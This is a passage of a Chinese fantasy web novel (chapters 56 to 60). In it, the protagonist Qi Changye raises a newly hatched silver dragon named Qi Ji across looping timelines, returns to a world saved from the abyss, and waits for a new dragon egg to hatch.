祈长夜读懂了它的意思，语气温和：“就算你破壳后不好看，我也不会不要你的。” 蛋壳表面的小花扬起花瓣，小龙彻底安心了。 当天夜里，祈长夜一直没阖眼，安静地守望静悄悄的龙蛋。 终于，等到了他的小龙破壳。 咔嚓，咔嚓。 一丝丝裂缝爬满漆黑的蛋壳表面，像是里面的幼崽在努力地拿着小锥子，努力地凿凿凿。 祈长夜微微屏息，听见从里面隐约传出的轻软声音，并不虚弱，充满生命力。 啪叽！ 忙碌了大半天，终于碎裂的蛋壳间，一坨黏糊糊的幼崽，顶着一枚蛋壳，从蛋里冒头。 眼睛都没睁开的幼崽，张着嘴巴，发出轻软的嗷呜声，本能地要去追寻着什么气息——然后，落入一个温暖的怀抱。 掌心托着幼崽软软的脊背，为它擦去身上的粘液。湿漉漉的幼崽拱来拱去，到处嗅闻那个人好闻的气息，在手指温柔地抚摸下，慢慢地睁开一双浅金色的龙瞳。 小龙看见，浅淡的星光里，那个人月亮一样美丽的眼眸。 今晚的月光，独独落在它身上。 浅金色的龙瞳凝固不动，祈长夜轻轻抱起小龙。 银白如雪的小龙，细长的身躯几乎有小臂那么长，披着软软的鳞甲，每一片鳞片都像漂亮的钻石，头顶一对银白小角，随着光线反射光泽。 一破壳，就是漂亮的小龙。 ……原来，最开始，他从深渊里捡来的祈霁，真的是条还没发育完全的小龙。 被他带上陆地，为了和他在一起，着急地冲破蛋壳，着急地想要长大。 破壳的时候，没能长出保护自己的鳞片和龙角，孱弱不堪，还被人当成怪物，丢弃在肮脏的角落，差点孤零零地死去。 ——就算后来，小龙得以慢慢成长，很长一段时间里，依然被人视作丑陋的怪物。 但，原本的祈霁，是条生来就光芒无限的小龙，是这世间唯一一条，漂亮的小龙。 心脏像是刺入铁丝，泛起一丝丝绞痛。 祈长夜小心地捧起银白小龙，就像捧起自己的心脏。 “祈霁。”他的声音轻而温和，凝望那双熟悉的浅金色龙瞳，“你的名字，喜欢吗？” 小祈霁昂起脑袋，尾巴一摇一摇，望着这个好看的人类。 那双它喜欢的眼睛里，清晰地倒映出它的影子，只倒映出它一只龙。 但是…… 为什么他的眼睛，那么难过？ “嗷呜。” 小祈霁软软地贴上祈长夜胸膛，低头，小小的龙角不停黏着祈长夜蹭蹭，发出轻快的叫声。 不要难过。 我来啦！ 祈长夜轻声说：“你还记得我吗？” 小祈霁歪了下脑袋：“嗷？” 祈长夜不再说什么，只是一下一下抚摸他的小龙。 浅金色的龙瞳舒服地眯起，小祈霁黏着祈长夜的手指，欢快地转起了圈圈。 然后，这只银白小龙昂起脑袋，软乎乎地喊他： “叭！” “叭叭！” 祈长夜：“……” 是不是叫法不太对。 第五十七章 没见过的小祈霁 “叭！” “叭叭！” 软软的银白小龙, 冲祈长夜摇着细长的小尾巴，不停在他身边扑腾。 跳来跳去，时不时抬起软乎乎的小爪爪, 扒拉他的衣角。 祈长夜的手指勾起小祈霁的尾巴, 闪烁着细闪鳞片的扇形尾巴尖尖完美无暇, 没有一丝伤疤。 他轻舒一口气, 闭眼, 抱住小龙。 小祈霁贴在他的胸口，浅金色的龙瞳眨巴眨巴，非常开心地弯起。 曾经, 第一次破壳的小祈霁, 还只是巴掌大的小龙, 可以被捧在掌心里, 好像随时会被风轻飘飘吹走。而现在，近乎小臂长度的银白小龙，搂在怀里，像一只长条抱枕，非常有存在感。 怀中的幼崽活泼地拱来拱去, 像是充满无限精力，一时半刻都安静不下来。 祈长夜抬起手指，点点小龙脑袋, 又摊开掌心。 小祈霁乖乖地把小爪子搭在他的掌心里, 昂起小脑袋, 一眨不眨地看着他。 祈长夜低头，脸庞贴贴那对软软的龙角。 银白小龙开心地打了个滚。 祈长夜：“……” 总感觉不像龙, 更像别的什么生物。 刚刚破壳的小龙，很快又露出软乎乎的小肚皮, 在祈长夜腿上蹭来蹭去，似乎很想要他摸摸。 黏人的，活泼的小龙，毫不掩饰自己的心思，圆溜溜的龙瞳里，只看着他一个人。 过了一会，又开始蹦蹦跳跳，想要跳到祈长夜肩上。 祈长夜在小祈霁脊背上一托，小祈霁就成功蹦跶上去了。 小爪子抓着他肩头的衣服，探出脑袋往下看看，有点高。 溜达一圈，得意洋洋地昂起脑袋。 站高高！ 祈长夜站起来，刚刚出生的小龙似乎因为突然的拔高吓了一跳，一下子收紧小爪子，脑袋往他肩窝里一扎。 祈长夜默默地把小龙重新抱到怀里，小祈霁的脑袋埋在他胸口，眨巴眨巴圆溜溜的龙瞳，假装刚刚什么也没发生，自己是一点也不怕高的小龙。 “饿不饿？” “叭叭！” “……” 一锅鲜白的鱼汤，架在篝火上，咕嘟咕嘟泛着热气。 祈长夜往里面丢了几颗红艳艳的果子，这是他之前发现的，可以用来当做调料，增加一点咸味。 再丢几片特殊的草叶，能提香味。 小祈霁趴在他的手臂上，探长小脑袋。 有点馋。 那条细长的尾巴垂在半空，一晃一晃，又软软地卷上祈长夜手腕。 很快，还在龙蛋时期就开始馋的小祈霁，终于等到了一碗属于自己的小龙鱼汤。 祈长夜吹凉了鱼汤，自己先浅尝一口，确认温度没有问题，味道似乎也没什么问题，才端到小祈霁面前。 “慢点喝，别烫着。” 银白小龙不知听没听懂，欢快地“嗷”一声，小脑袋扎进碗里，咕噜咕噜喝鱼汤。 祈长夜：“。” 这是在蛋里就一直饿着吗？ 他默默地看着，默默地等了几秒。 小祈霁没有任何异常反应，飞快喝完一碗鱼汤，还有点意犹未尽地摇摇尾巴，凑过去舔舔碗底。 再昂起小脑袋，眼巴巴地看着他。 “嗷呜。” 还有嘛？ 祈长夜微微放心，看来，他的厨艺已经没什么问题了。 至少，刚刚出生的小龙很喜欢。 ……应该不是因为这次的小祈霁没有之前的记忆，也没有什么判断力的原因。 他又盛了一碗鱼汤。 小祈霁却没有第一时间凑过来，而是把碗往祈长夜面前推推。 “嗷呜。” 给你次！ 祈长夜：“还有很多，够吃。” 小祈霁这才放心，开心地喝了三大碗鱼汤。 吃饱啦。 肚子有点圆鼓鼓的银白小龙开始在祈长夜腿上打滚，又蹦跶起来，一跳一跳，好像在消食。 祈长夜都不用特意去逗它，小龙就自己找到了新的乐子，小爪子抓住他的衣角，往上蹭蹭，开始练攀爬。 又过了一会，银白小龙自己和自己叽叽咕咕，好像在练习龙语。 虽然在祈长夜耳边，就是什么“嗷呜嗷呜”、“啾啾啾”、“叭叭”、“呜啦”等一些有趣又熟悉的词。 “啾啾，啾啾！” 小祈霁眼睛亮晶晶，开始软软地喊他。 祈长夜挠挠小龙下巴：“叫哥哥。” 小祈霁眨巴眨巴眼睛。 “啾啾啾啾啾——” 一直到晚上，林子里还到处都是“啾啾”声。 躺在床上，准备入睡的时候，祈长夜听着耳边响了一天的“啾啾”，默默地想，总比唱歌好。 银白小龙钻进他的怀里，挪到一个舒服的位置，蹭蹭他的胸口，心满意足地趴了下来。 无忧无虑，快乐的小龙，就这样度过了它破壳的第一天。 第二天，乌云笼罩林间，似有一场暴雨来临。 祈长夜推开窗户，摸摸困兮兮的小龙脑袋：“春天快到了。” 这次的小祈霁，诞生在一个春天。 “啾！” 今天不宜远行，原本想带着小祈霁逛逛更远处山林的祈长夜只是在附近转了一圈，摘了点果子。 酸酸甜甜的果子，还没完全成熟，要放几天，才会有清甜的口感。 小祈霁扒拉着一颗果子玩，好奇地凑过去嗅嗅，啃了一口。 抖抖抖。 祈长夜就看着这只被酸到的小龙微微睁大龙瞳，盯着那颗果子，呆了几秒。 又啃一口。 抖抖抖。 ……也许是因为果子很好吃，也许是不想浪费，小龙就抖抖抖地把酸果子给啃掉了。 祈长夜微微失笑。 小祈霁一仰头就看见那双漂亮的眼睛里揉碎的笑意，又微微一呆。 ……喜欢。 小龙闷不吭声，嗖嗖快地爬到祈长夜肩上，贴住他的脸庞。 喜欢！ 即将到来的暴雨闷了一天，傍晚的空气也有些干热，不喜欢淋雨的小祈霁在屋外溜达了一圈，很快就揪揪祈长夜衣角，想和他一起回去。 祈长夜抱着小龙刚踏回木屋，雷鸣惊响，暴雨姗姗来迟，终于降下。 曾经小小的林屋，已经扩建了一下规模，用木头搭起屋檐和四面，还加了窗户和桌椅。 轰隆！ 屋外雷电交加，雷霆仿佛就在屋顶炸响，屋内安静沉宁，风雨不漏。 银白小龙缩在祈长夜怀里，一动不动，只是睁着圆溜溜的龙瞳。 难得这只小龙会有这么安静的时候，祈长夜低头，与小祈霁对视。 一秒，两秒，三秒。 轰隆！ 又是一道雷声炸响，比刚才还大。 小祈霁又往他的怀里缩了缩，圆溜溜的龙瞳睁得更大了。 四只小爪子揪紧他的衣服，依然一动不动，也一声不吭。 祈长夜看出了什么，静静地抬起另一只手，笼住小祈霁柔软的脊背，是个将小龙完全护在怀中的姿势。 他的体温传递到小祈霁身上，这只眼睛睁得大大的小龙眨了眨龙瞳，忽然就没那么紧绷绷的了。 小祈霁慢慢垂下脑袋，祈长夜的掌心就落在它的头顶。 刚破壳的小龙，原来也会害怕雷声，还没变成很久以后，能够乘风御雷的厉害大龙。 要是他不在这里，这只小龙要怎么办？ 刚刚出生，爪子都是软软的，只能躲在叶子底下，蜷缩成湿淋淋的一小团。 祈长夜微微有些晃神。 ……所以，他来到了这里？ 所以，是这样的时间线吗？ 他再垂眼，怀中的小祈霁软软地依偎着他的胸膛，已经睡着了。 祈长夜眼眸泛起微微的涟漪，无言垂首，贴上这只小龙。 不管怎么样，有他在这里，就不会再让他的小龙淋上风雨了。 第二天，雨过天晴，小祈霁又是条活蹦乱跳的小龙。 这只正常破壳的小龙很快展现出了非凡的天赋，仅仅三天后，它就学会了飞行，拥有控制风的能力，还能够开口说话了。 “哥哥！哥哥！” 飞得歪歪斜斜的银白小龙，围着祈长夜绕圈圈。 清脆的少年声落在耳畔，祈长夜的眸光随着小祈霁游移，看见这只银白小龙欢快地乘风乱飘。 “哥哥！我能飞得很高！” “真厉害，”祈长夜微微有些意外，声音格外温和，“是条最厉害的小龙。” 小祈霁的尾巴翘得高高的，乘着风扑到哥哥头顶，昂首挺胸，像拥有了自己领地的小小君王。 祈长夜感受到头顶幼崽的热度，思绪却不受控地漂移。 ……所以，如果从深渊里出来的祈霁也能正常成长，那这只小龙后来就不用那么辛苦，也不用褪鳞了。 更不用因为自己的弱小，而总是偷偷难过。 他微微垂下眼帘。 “哥哥在想什么？” 一只小脑袋探了下来，圆溜溜的龙瞳一眨不眨地望着他。 祈长夜：“在想你。” 小祈霁开心地凑近一点，声音软软的：“哥哥会一直陪着我嘛？” 还没等祈长夜回答，这只小龙就黏糊糊地蹭蹭他。 祈长夜眼眸微动。 如果，这真的是百年之前的时间线，那他…… 他抬手，掌心落在小祈霁头顶。 “会。” 小祈霁更开心了，在他头顶转圈圈，又扑通跳到他的怀里。 “我也会一直陪着哥哥！” “喜欢哥哥！” 还没有尝过离别滋味的小龙，满心满眼，都是面前的人类。 想要一直和哥哥在一起。 它是世间唯一的小龙，所以，它的哥哥一定只喜欢他！ 小祈霁又开始欢快地扑腾，祈长夜摸摸他的小龙，带它走向不远处的小屋。 日子一天天过去，祈长夜依然没有变化，小祈霁则渐渐长大。 从一只几十厘米长的小龙，时不时蹿一蹿个子，逐渐突破了一米多长。 是条会吧嗒吧嗒跟在祈长夜身后，叼着他的衣角的小龙。 当然，相比于真正的成年体型，现在的祈霁依然是幼龙。不过，到这个长度以后，小祈霁就不怎么再长了，而是停了一段时间。 祈长夜猜测，他的小龙应该又要有变化了。 果然，某天清晨，他察觉到了什么，睁开眼睛—— 他的胸口铺满熟悉的银色长发，发间有一张漂亮的小脸。 真的很小，大概也就六七岁的样子。 ——小小的男孩蜷缩在祈长夜怀里，揪着他的衣角，缩成圆嘟嘟一小团。 祈长夜：“……” 没见过的小祈霁增加了。 第五十八章 分别是为了重逢 祈长夜还是第一次见到人类形态下这么一小只的祈霁, 没忍住，戳戳小祈霁的脸。 软软的。 再揉一揉。 小祈霁啪叽一下，双手抱住了他, 黏糊糊往他身上蹭。 祈长夜再松手的时候, 就对上一双圆溜溜的金色龙瞳。 “哥哥！”小祈霁眼睛亮亮的, 下巴趴在他的胸口, “我已经是大人了！” 祈长夜：“嗯, 很大一只。” 他双手穿过小祈霁腋下，把这只小团子举起来，晃一晃, 又放到床上。 小祈霁抱住他的手臂, 一头丝绸般光洁的银色长发散在他的身上, 还有一件同样布满光泽的银白衣袍——应该是这只小龙的鳞甲变的。 “第一次变成人, 会有哪里不舒服吗？” 小祈霁歪了下脑袋，声音软软的：“不舒服的话，哥哥可以亲亲我嘛？” 祈长夜：“。” 从哪里学来的话。 他又捏捏小祈霁的脸，被这只小团子软乎乎地蹭蹭手指。 林风吹过干净整洁的屋子，晨起散步时分, 祈长夜低头，看着自己腰边的小团子。 圆滚滚的一小只，非常可爱。 小祈霁睁着无辜兮兮的眼睛, 揪着哥哥衣角, 不断往他身上蹦跶, 似乎很想要哥哥把自己抱起来。 祈长夜俯身，抱起这只小团子, 戳戳他的脸，又捏捏。 小祈霁眼睛弯弯, 银发之间，冒出一对银白小角。 啪一声。 一条细细长长的银白尾巴卷住了祈长夜的腰，像尾活泼的鱼，黏着他的腰肢和脊背蹭来蹭去。 祈长夜熟练地抓住尾巴尖尖，甩一甩，说：“拿去红烧。” 龙尾立刻不动了，乖乖地趴在他的手里，小祈霁也眨巴眨巴龙瞳，非常乖巧的样子。 回到林屋，刚刚落地，一小只的祈霁又开始跑来跑去，从橱柜里翻出两只碗。 “我可以给哥哥做饭啦！” “我还可以打扫屋子！” 祈长夜：“你还小呢。” 小祈霁拉住他的衣角，眼睛亮亮：“我很快就会长大的，长得和哥哥一样高，哥哥要等我！” 祈长夜俯身，摸摸他的脑袋：“嗯。” 小祈霁又开心地在屋子里到处乱跑。 跑来跑去，扑到祈长夜身上，仰起软乎乎的小脸看着他，身后的小尾巴一摇一摇。 祈长夜：“……” 这只小龙好像知道自己很可爱的样子。 确实很可爱。 揉揉。 小小的木屋，春去秋来，又扩建成了比之前大两倍的规模。 祈长夜坐在树荫下，看见银发扎起的少年操纵风场，为屋檐落下最后一块木头。 “哥哥，好啦！” 少年回头，灿金色的眼眸盈满笑意。 祈长夜望着那双熟悉的眼眸，目光微动。 他陪着祈霁，从幼年走到了少年，很快，又要来到成年。 ……似乎他们的每次分别，都在成年。 “哥哥。” 悦耳的声音在耳畔响起，祈长夜微微抬眼，少年的祈霁已经站在他面前，捧起他的手，灿金色的龙瞳深深地凝视着他。 “哥哥透过我，在看谁？” 祈长夜回神，抬手拂起那几缕垂落的银发：“是你。” 无论哪个时间线，他都是他，祈霁也都是祈霁。 他们在不同的时间线相遇与分别，但，每一次，他们都是彼此的唯一。 祈霁没再说什么，只是埋下头，下颌压在祈长夜身上，搂住他的腰。 这个动作，少年做得无比熟稔，显然已经重复了许多次。 祈长夜的手指穿过银白发丝，听见祈霁压在自己耳边喃喃的低语：“为什么哥哥一直没有变。” 在这里，变化的只有他。 随着时间一天天流逝，即将跨过成年的银龙开始隐约有种不安，仿佛有道声音在告诉他，这个人始终不属于这里，始终会离开。 到那时，他又要被他丢下了。 ……为什么是又？ 祈霁轻轻磨蹭祈长夜的脸庞，心头沉沉压着这个问题，却没有出口。 祈长夜同样没有说话，眼睫微垂，掩住眸底神色。 片刻后，他平静的声音响起：“你有没有想过，离开这里，去外面的世界看看？” 祈霁仰起头，一眨不眨地望着他。 “哥哥想离开这里吗？” 祈长夜：“就算要走，也是和你一起。” 这句话明显安抚了祈霁，让他的眼睛微微弯起。 “成年之前，我不能离开这里。”少年偏过脸，手指拨弄乌黑柔软的发丝，轻轻扫过祈长夜白皙的肌肤，“但，如果哥哥想的话，到了那个时候，我们可以一起出去看看。” 祈长夜捕捉到了前半句话的重点。 不能走出这里？ 他看着面前的少年，忽然意识到，世间唯一的真龙，也受到某种法则的制约。 再一次的，他又回想起了银龙投入深渊的那一幕——如此真实而明晰，仿佛就发生在昨日，令他的心脏烙下刺痛的烙印。 ……世间诞生真龙，就是为了深渊吗？ 无法解决深渊，才为此让龙出现？ 这个猜想，令那双乌黑眼眸，如笼风雨。 “哥哥？” 祈霁察觉到他的情绪，眉心立刻蹙起。 “怎么了，不舒服吗？” 祈长夜对上他的眼眸，沉默片刻，眸中的风雨缓缓褪去，又复平和。 “没什么。” 他的掌心落在少年头顶。 “我希望，你能好好的。” 祈霁眨眨眼睛：“哥哥在我身边，我就会好好的。” “要是哥哥不在了——”他的语气轻淡，像是随意的一句，蜻蜓点水地落下，“我就去陪哥哥。” 祈长夜手指收紧，刺入掌心。 直到数秒后，他微低的嗓音才响起：“我知道。” 他的祈霁，会为了他，不顾一切。 “所以，我也会为了你，变得更好。” “哥哥已经很好了，”祈霁立刻说，“没有任何人能比得上哥哥。” 他抱紧祈长夜的腰，整个人埋进他的怀里，嗅闻那清淡的气息，微微眯起眼睛。 喜欢。 第一眼，就喜欢。 他是他的。 少年的祈霁，此刻所想，是和他的人类永远在一起。 他们的确渡过了很多时间，从尚未破壳的懵懂到幼年，再到少年，在他的人类的陪伴下，银龙安稳地渡过成年期，真正到达了成年。 “哥哥，我喜欢你。” 微风卷起林间无数的落花，构成旖旎而浪漫的花海。这句话，是跨过成年之后的祈霁，对祈长夜说的第一句话。 祈长夜望着那双灿金色的眼眸，里面有他再熟悉不过的炙热。 这份炙热，曾出现在百年前，也曾出现在百年之后。 百年前，他就已经看懂了那个眼神，给出了他的小龙承诺。百年之后，失去记忆的他和祈霁再度重逢，他却始终无法明白祈霁对他的心意。 而现在…… 祈长夜微微张嘴。 他的声音，忽然被吞没了。 他看见，祈霁的眼神变化，目光紧紧锁住他的身后。 ——一道深黑的裂缝，毫无征兆地在他身后张开，露出一片无尽的幽暗。 似有不可违逆的力量将祈长夜瞬间拖拽而去，祈霁立刻伸手想要拉住他—— 却只穿过了一片空气。 他无法触碰到他的人类，就仿佛，他的人类始终不存在于这里。 银龙现于山林之间，展现了成年之后的完全体态，浩瀚的龙吟响彻山林，灿金龙瞳燃起森然怒火，大地震动，天空崩裂——却无法阻止那道身影，不可控制地离他而去。 祈长夜仰首，望见不顾一切，向他冲来的那抹银白。 ……他要离开了。 时间的节点在这一刻中止，无法违逆。 但—— 他说：“等我。” “在未来，我们一定会重逢。” 时空裂缝关闭的一刹那，他看见祈霁嘴唇微动，似乎对他说了什么。 ……那最后的声音，隐没在关闭的缝隙之间，再也无法找寻。 …… 数年后。 “队长。” 晦暗的天空下，白色风衣的年轻男子微微偏过脸，望见他的队友关切的眼神。 亚瑟说：“队长，好像从刚才开始，你就有点心神不定？？” “……” 祈长夜轻轻按住心口，片刻后，微微摇头：“没什么。” 他只是在靠近这片陌生的废墟之后，忽然有些悲伤。 不知从何而起的悲伤。 就像……他又失去了某个很重要，很重要的存在。 亚瑟似乎还想说什么，忽然有大雾四起，弥漫而开。 周围的景色在变化，从昏暗的废墟，变成一片郁郁葱葱的深林。 晴空与高山，丛林与飞鸟，这里就像是一片未曾被深渊污染之地。 “这是什么地方？！” “我们被什么东西拖了进来！” 周围的队友在惊呼，祈长夜的心脏一跳，似乎有所感悟。 好像……有谁在等他。 好像……他一直想找寻的东西，就在前方。 他向前走去，白色风衣的衣摆掠起，如展翅的美丽白鸟，奔向山林。 山林的缥缈雾气里，一条庞大的银龙，穿行于云雾之间，隐约露出一双冰冷的金色龙瞳。 对视的那一刹那，祈长夜停下脚步，眼眸凝止。 这一刻，所有的风皆掠过山林，向他奔袭而来。 他曾经见过他。 在过去，在未来。 “等我。” 他们一定会重逢。 第五十九章 重归 穿行过荒野, 穿行过茫茫寒风。 祈长夜独自一人行走在黑暗里，身侧一幕幕画面流转而过，如同不断拉长的电影胶卷。 他看见, 百年前, 深渊巨变, 从天空砸入地下, 巨龙悲泣, 随着爱人一起，沉没于深渊。 人类的身躯和灵魂都已无迹可寻，只有巨龙的遗骸永沉深渊之底, 从美丽而神圣的银白烈阳, 化为黯淡的森森白骨。 祈长夜抬手, 掌心穿过骸骨, 如同穿过冰凉的空气。 他长久驻足，停留在曾经的银龙身旁，直至看见从巨龙的遗骸里溢出星星点点的微芒，像是祈霁的灵魂，飘散在偌大的深渊。 两天。 一年, 两年。 随着时间的流逝，许多年后，曾经耀眼的光芒, 已经渐渐黯淡, 沉寂于无边的黑暗之中。 光芒愈发弱小、微渺, 汇聚成一只小小的光团，宛若初生的龙蛋。 幼小的光团依然在深渊里飘荡, 却像是已经忘记了来路，更不记得自己要去往何方, 只是如游魂一般，一日复一日地徘徊在无尽的深黑里。 直到那天，一个男孩，被抛入深渊。 目睹了自己的同伴接连死于自己面前，男孩痛苦，却无能为力，在地狱中，与光团相遇。 遭受深渊侵蚀而失去了心智的他将光团当成自己的同伴，紧紧抱在怀中。 他的鲜血混合着眼泪落在小小的光团之上，来自灵魂里的气息，同样唤醒了巨龙一部分失落的灵魂。 那一刻，深渊之底的巨龙骸骨，隐没不见。 黯淡的光团凝为实体，散落的灵魂开始归于一处——在男孩的怀中，世间唯一一条真龙，跨过生与死的轮转，时隔多年，再次睁开眼睛。 原来，沉睡的银龙，就是为了等待能够唤醒它的那个人。 当男孩终于撑过深渊的死亡侵袭，走出深渊时，他已经失去了这片刻间的记忆。 但，深渊里，已经多了一颗小小的龙蛋。 虽然记忆尚未完全恢复，虽然还没有想起和它的人类百年前的曾经，但，小小的龙蛋已经在静静地，满怀欢喜地等待—— 等待着那个人再次遵守承诺，再次出现在它面前，带它回家。 一幕幕画面流转而过，落入沉静的墨色眼眸。 祈长夜安静地驻足，宛若一尊雕像。 原来，他和祈霁，曾经有过四次相遇。 百年前，他遇到了成年的银龙，那时的他们对彼此都有种熟悉而不可分割的感觉，却没有记忆，不知缘由。 这一世，年少的他被抛入深渊，遇到了漂泊的银龙灵魂。 又过数年，他在深渊里，捡到一颗小小的龙蛋。 而后，末日到来，银龙沉没深渊，他被送回最开始的时间线，在那里，遇到了百年之前，尚未破壳的祈霁。 时间构成了奇妙的轮转，兜兜转转，他们总能抓住命运的间隙，找到那根牵连着彼此的丝线。 而现在，时间的指针再次拨转，一切开始正常地流动。 脚下像是有丝线延伸，祈长夜向前走去，无形的丝线指引着他，直到走出黑暗，迎来了一抹天光。 林间的微风，再次缱绻地缠绕在他的乌发之间。 他站在熟悉的山林间，看见树荫下，微光间，一颗小小的蛋，静静地躺在山壁缝隙里。 黑漆漆的，还没巴掌大的幼蛋，比起百年前，他第一次见到的龙蛋还要小上不少——是只刚刚诞生于世间的小龙。 祈长夜俯身，双手轻轻捧起龙蛋。 这是此刻，他所在的时间线，新生的祈霁。 小小的龙蛋沐浴着微光，静静地躺在他的掌心，像是还在沉睡。 “我们回家吧。” 祈长夜转身，带着他的龙蛋，一步步走向山林之外。 柔和的风吹拂过他的衣角，有大雾开始弥漫。 当雾气一点点散去时，偌大的山林也消隐于雾气之间，仿佛被从山水画上抹去了痕迹。 祈长夜站在大地之上，仰头，望见万里晴空。 他回到了原本的世界，而曾经被深渊纵横割裂的大地也已愈合，再无黑暗的痕迹。 世界得救了。 他的小龙，就在他身边。 …… 失踪数月的第十席重归乌城，再次引起轩然大波。 数月前，第十席和他的银龙救世，镇压深渊，为世界解决了末日，拯救了无数人。 那之后，第十席和他的银龙就再也没出现。 有人说，他们陨落在了那场灾难里，也有人说，他们是双双殉情……众说纷纭之中，不知从何时开始，第十席曾经的居所，摆满悼念的白花。 这一次，第十席再次归来，无数人蜂拥而至，只为一睹他的面容——很可惜，一个人都没能见着。 当然，第十席居所的许多白花，已经被偷偷挪走了。 第三席府邸，明蓝放下一杯茶：“没有加糖。” 祈长夜坐在沙发上，膝间躺着一颗一动不动的小小龙蛋。 “谢谢，”他端起那杯红茶，氤氲的热气浸润垂下的眼睫，“我现在可以吃糖了。” 曾经的梦魇，已经不再扭曲而诡异。他站在光下，已经有勇气面对那些过往。 “那很好。”明蓝静静地注视他一会，说，“你瘦了。” “之后要好好修养一下，今天就留在这里吧。” 祈长夜微微摇头：“我应该不会在这里停留太久。” “为什么？” 似乎没想到他会这么回答，明蓝微微加快了语气。 “深渊已经解决，这个世界将再无灾难，是一个崭新的，属于进化者的世界。” “我会重建议事厅，改变乌城风气，从此以后，不再有上城下城之分。” “你留在这里，可以见证一个崭新的乌城。” “我知道，您能做到。”祈长夜的声音平静，“不过，我想去这个世界的其他地方转转，看看不一样的风景。” 无论是百年前，还是百年后，从幼时起，他就在孤儿院里。 再后来，被深渊的脚步推着向前，步伐匆匆，没有一刻休息。 而现在，一切都已结束，他想看一看没有灾难、重获新生的世界——和同样获得新生的小龙一起。 “……我知道了。” 明蓝的表情和缓。 “你已经为这个世界做得足够多，是该休息一下了。” “我只有一句话送给你——常回家看看。” 祈长夜目光微动，望向他的眼睛。 “你十二岁那年，从深渊走出，见到你的第一眼，我就知道，你是姐姐的孩子。” 明蓝的声音如流水，掠过了时光。 “几十年前，我轻狂叛逆，离家出走，没想到明家后来遭遇事变，等我得知赶回，已无力回天。” “那是我一生中最后悔的事情，但在明家旧址，我找到了姐姐留给我的隐秘信号，知道她活了下来。” “只可惜那之后，我一直没能找到她……姐姐应该是隐姓埋名，和你的父亲相遇，生下了你，再后来，没能躲过灰烬对于旧地球血脉的追杀。” “现在想来，你父母的死，恐怕也有第一席的手笔。” “这些年，我一直感觉乌城的背后有双眼睛，在凝视着这个世界，操纵世界的走向，那是一股不祥的力量。因此，在认出你后，我没有告诉你真相。” “我怕你的特殊身世，加上你拥有的特殊力量，会被那双眼睛的主人凝视，牵扯进和当年明家一样的风波里……只不过，我没想到，从一开始，那双眼睛就盯住了你。” 明蓝缓缓抬手，掌心微微朝上，又慢慢下落，最终停在祈长夜肩头。 “很抱歉，直到现在，才能以舅舅这个身份，和你说这些话。” 祈长夜摇了摇头，他之前早就有过猜测，直到此刻，猜测落定，就像走过漫漫荒原的人，不仅迎来了晨曦，还发现了荒野上，一株多出来的小花。 他望向这个世间，自己唯一血脉相连的家人。 “您已经帮了我很多。” 当年，他杀死第十席和他的拥簇，如果不是明蓝站出来力保他，他不会安然无恙地全身而退。 再之后，他向明蓝寻求过许多次帮助，每一次，都没有被索要任何报酬。 “下次你再回来，我可以和你说一些往事。” “谢谢。” 临出门前，祈长夜转身回望。 “舅舅。” “……” 直到那道身影消失在门口，明蓝缓缓抬手，按住心口。 —— 离开乌城前，祈长夜带着祈霁，来到薪火小队的墓前，送上一捧花。 “队长，深渊结束了。” 尘埃落定，美丽的小花，在墓碑前微微摇曳。 之后，他走过很多地方，也和一些故人重逢。 不再有深渊的世界，迎来了崭新的未来，有希望，也有风波。 他经历了更多的人和事，祈霁始终陪伴在他身边。 不过，小小一只的龙蛋，一直安静地躺在他的掌心，一动不动。 一天天过去，龙蛋没有长大的迹象，更没有丝毫动静。 祈长夜隐约猜到了背后的原因，捧起龙蛋：“你不愿意破壳吗？” 龙蛋静悄悄的，毫无反应。 “因为我又一次抛下了你，因为觉得我不要你了吗？” 祈长夜的手指一下下抚过龙蛋细腻光滑的表面，声音清和。 “如果我说对不起的话，可以原谅我吗？” “……” 小小的龙蛋，倒映在祈长夜眼中，依然一动不动。 他不再说什么，也不见失望，摸摸龙蛋，继续向前走去。 咔嚓。 咔嚓。 细微的声音，被祈长夜捕捉。 他垂眼，幼小的龙蛋表面，忽然裂开一道道细小的纹路。 就像里面的幼崽，正在着急地凿凿蛋壳，努力想要从里面挤出来。 祈长夜眼睫微动，立刻伸手捂住蛋壳：“还是再等等吧。” “太小了，你再长长。” 龙蛋不咔嚓了。 静静地躺在那里，依然一动不动。 但，祈长夜已经感知到了某种情绪——久违的，透过那道熟悉的灵魂，传达给了他。 哥哥。 再等一等我。 “好。” 祈长夜望着蛋壳表面，那一丝丝细小的裂纹，思考片刻。 拿出一卷医用胶布，默默给小龙蛋一圈圈包扎了起来。 包成了一颗粽子蛋。 别碰碎了。 龙蛋：“……” 第六十章 见家长 “生了吗？” “……没有。” 几个月后。 “生了吗？” “没有。” 又过几个月。 “生了吗生了吗？” “……” 祈长夜看着不知第几次询问自己的艾丽娅, 无言地摇了摇头。 艾丽娅嘘声叹气，对他手里的那颗龙蛋指指点点：“加把劲啊。” “？” 黑漆漆的龙蛋滴溜溜转过一圈，才不理她。 祈长夜伸了根手指, 指腹贴着龙蛋蛋壳蹭蹭, 龙蛋立刻开心地支愣起来, 黏着他拱来拱去。 艾丽娅：“……” 多么似曾相识的一幕。 回来了, 都回来了。 蹭了一会, 龙蛋又昂起脑壳，左探探右探探，似乎在对祈长夜说些什么。 “没关系, ”祈长夜声音温和, “你慢慢长大就可以。” 艾丽娅凑近一点：“是啦, 没关系哒, 反正想要追求我们第十席的人也不多，也就是从芙洛城排到了乌城而已。” “？？” 龙蛋嗷一下蹦了起来。 “……” 回到曾经在芙洛城的居所，祈长夜坐在沙发上，拿了个软垫放在腿间，让龙蛋躺在上面。 比巴掌大一点的龙蛋骨碌碌打滚, 非常精力充沛的样子，转来转去，吸引着哥哥的目光。 祈长夜的手指落在蛋壳上, 感受着属于小龙的温度。 曾经, 他从真龙诞生的山林里接回祈霁以后, 有很长一段时间，祈霁都没有动静。 最开始, 他还产生了一些误会，以为祈霁不想理他了——后来才知道, 那段时间里，祈霁仍在沉睡，还无法回应他。 醒来之后，原本安安静静的龙蛋又变成了一颗活泼的龙蛋，每天都非常有表达欲望地黏着哥哥蹦来蹦去。 就像现在，龙蛋滚来滚去，光滑的蛋壳表面，冒出一朵朵摇曳的小花花。 喜欢哥哥！ 祈长夜的手指逗逗龙蛋：“嗯，我知道。” 微光洒落窗畔的地毯，一切似乎又回到了最开始，他和祈霁相遇，安静养小龙的日子。 不过这一次，祈霁没有让他等待多久。 ——几天后，黑漆漆的龙蛋裂开一道道细纹，咔嚓咔嚓的声音持续一会，最终，从里面爬出一只漂亮的银白小龙。 那双新生的龙瞳睁开之时，不是浅金，而是更加明亮纯粹的灿金。 